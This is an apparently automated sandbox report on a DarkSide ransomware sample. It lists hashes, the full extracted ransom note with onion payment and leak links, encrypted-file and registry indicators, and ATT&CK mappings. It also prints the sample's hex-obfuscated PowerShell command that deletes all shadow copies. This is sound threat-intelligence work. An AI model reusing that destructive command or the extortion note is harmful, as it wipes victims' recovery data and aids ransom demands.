darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
20s
max time network
13s
platform
windows7_x64
resource
win7v20210410
submitted
12-05-2021 19:34

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General

Target

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Size

59KB
MD5

47a4420ad26f60bb6bba5645326fa963
SHA1

7a29a8f5e14da1ce40365849eb59487dbb389d08
SHA256

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134
SHA512

08c82585fbab8e090e67e4571f7428bffaf68f9a8c2e34b72f9688205ee880a6435aa813b8845a0b0281c80b78774b969032cc27fc98d3f0e67116dabcf77127

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, private data was downloaded. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 300GB data. Your personal leak page (TOR LINK): http://darksidedxcftmqa.onion/homehardware/K4fLrrmO5GOIBHbhfJyN5rG4pkPcRlnc48ceUHtNgjONruPRTVc4Usyb96BuHkKa On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published in our blog if you do not pay. After publication, your data can be downloaded by anyone, it stored on our tor CDN and will be available for at least 6 months. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. HOW TO CONTACT US? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/FJ6BL608YXVN8DGFDP23JVF2RU0K0IC102LSJA09Z2JF14A1SCCJBOVPLRHSLU16 When you open our website, put the following data in the input form: Key: FSGLQojvXe6Tvm2w0wxP3QfWkJb1USBnFsbmL4CiIX0sBiV727ofcmrdJmUTgBStIrH7sgcBDo4SPki6BniKhpd7d4zjLSAxmtlwLAHLgtBnwYPuW05gxF4VPuXsylwu2p3k6ZWDTjCIZVVG04RCYEfS3AP25AWqGkFDh4KVy7MZsCVH7RwxEdhWyApxi7Ioai3v52ofbfNgys0V0sG2xWqJgtluhQ4J23O7jCZxqMM10civs8NlDmeJAiIkI43RrPDd3P2kA03ky3oUBNeUPOOnAztZQezpfAgiM8evd3HE9aua1yUEX4hndxmFU02CEYIiyah3g5ywISASKAeiXKCJoThOot42MHwMCl0G7wP6KdHVyPx8uhBdT2kbzvjGZvmOibfxKUlxJlhai4DhjDp9mUuJajTrBYoeogvOzrgc8iv0PcrAABLRGU2I9uSFIlFqZeuIp7qMW7DIZKrunidyvfL1oTtuosI8bQ0BVvooDC1BB5n5Biw9x2yBNit4lOjMhY00P3wTLvMhS3ZQ6eGKDmx7GrQ7ydGo6I2A0eQx9dpuxhWpkpc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/homehardware/K4fLrrmO5GOIBHbhfJyN5rG4pkPcRlnc48ceUHtNgjONruPRTVc4Usyb96BuHkKa

http://darksidfqzcuhtk2.onion/FJ6BL608YXVN8DGFDP23JVF2RU0K0IC102LSJA09Z2JF14A1SCCJBOVPLRHSLU16

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 10 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\DenyRequest.png.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\MergeProtect.tif.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\SelectRead.crw => C:\Users\Admin\Pictures\SelectRead.crw.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\SelectRead.crw.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\ConnectSet.crw => C:\Users\Admin\Pictures\ConnectSet.crw.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\ConnectSet.crw.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\DenyRequest.png => C:\Users\Admin\Pictures\DenyRequest.png.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\MergeProtect.tif => C:\Users\Admin\Pictures\MergeProtect.tif.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\SelectPop.raw => C:\Users\Admin\Pictures\SelectPop.raw.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\SelectPop.raw.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Modifies registry class 5 IoCs

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

pid	process
1904	powershell.exe
1904	powershell.exe
336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSecurityPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeTakeOwnershipPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeLoadDriverPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSystemProfilePrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSystemtimePrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeProfSingleProcessPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeIncBasePriorityPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeCreatePagefilePrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeBackupPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeRestorePrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeShutdownPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeDebugPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSystemEnvironmentPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeRemoteShutdownPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeUndockPrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeManageVolumePrivilege	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: 33	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: 34	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: 35	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeBackupPrivilege	564	vssvc.exe
Token: SeRestorePrivilege	564	vssvc.exe
Token: SeAuditPrivilege	564	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

description	pid	process	target process
PID 336 wrote to memory of 1904	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe	powershell.exe
PID 336 wrote to memory of 1904	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe	powershell.exe
PID 336 wrote to memory of 1904	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe	powershell.exe
PID 336 wrote to memory of 1904	336	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
"C:\Users\Admin\AppData\Local\Temp\78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1904

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:564

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
8645787fde33c535a9c962e6b44ce136

SHA1
ee30ea2df6c7f2e37582241f338eda9758e79ade

SHA256
971bf31dc898131fbcf7ec0592a71fca18de8fc219d487257b30f522dbd1f4d4

SHA512
fb26f24210e83fceaf8d9bdc7c11f09a299d98785b686843bebda4f193c98b109c00bb465919541cb089029cbb2a5923ad0a984b88d4b4e1a9a09d1ddc3895f5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
e4cc4f6c4689eeacc36158a15176d857

SHA1
d906eafda343776d1dcd3fc6750ed1df32db4c7c

SHA256
7add8553ee96fb9014dc217bd9d6633cf76e93ce39e3b192d1e3358102a28a0f

SHA512
e592d75a69409369d2d11d3d1e1cce916b4bd29822ab05947f5c041d66ac319ce5a29ea564cdc41bd240ad0ac8478c267d649c1b3433668c1d8867b9c39bfa4c

Download Submit
memory/336-59-0x0000000075551000-0x0000000075553000-memory.dmp

Filesize
8KB

Download
memory/1904-66-0x000000001AC54000-0x000000001AC56000-memory.dmp

Filesize
8KB

Download
memory/1904-63-0x000000001ACD0000-0x000000001ACD1000-memory.dmp

Filesize
4KB

Download
memory/1904-64-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/1904-62-0x00000000024E0000-0x00000000024E1000-memory.dmp

Filesize
4KB

Download
memory/1904-65-0x000000001AC50000-0x000000001AC52000-memory.dmp

Filesize
8KB

Download
memory/1904-67-0x0000000002270000-0x0000000002271000-memory.dmp

Filesize
4KB

Download
memory/1904-68-0x000000001C5B0000-0x000000001C5B1000-memory.dmp

Filesize
4KB

Download
memory/1904-69-0x000000001C680000-0x000000001C681000-memory.dmp

Filesize
4KB

Download
memory/1904-61-0x000007FEFBC81000-0x000007FEFBC83000-memory.dmp

Filesize
8KB

Download
memory/1904-60-0x0000000000000000-mapping.dmp

Download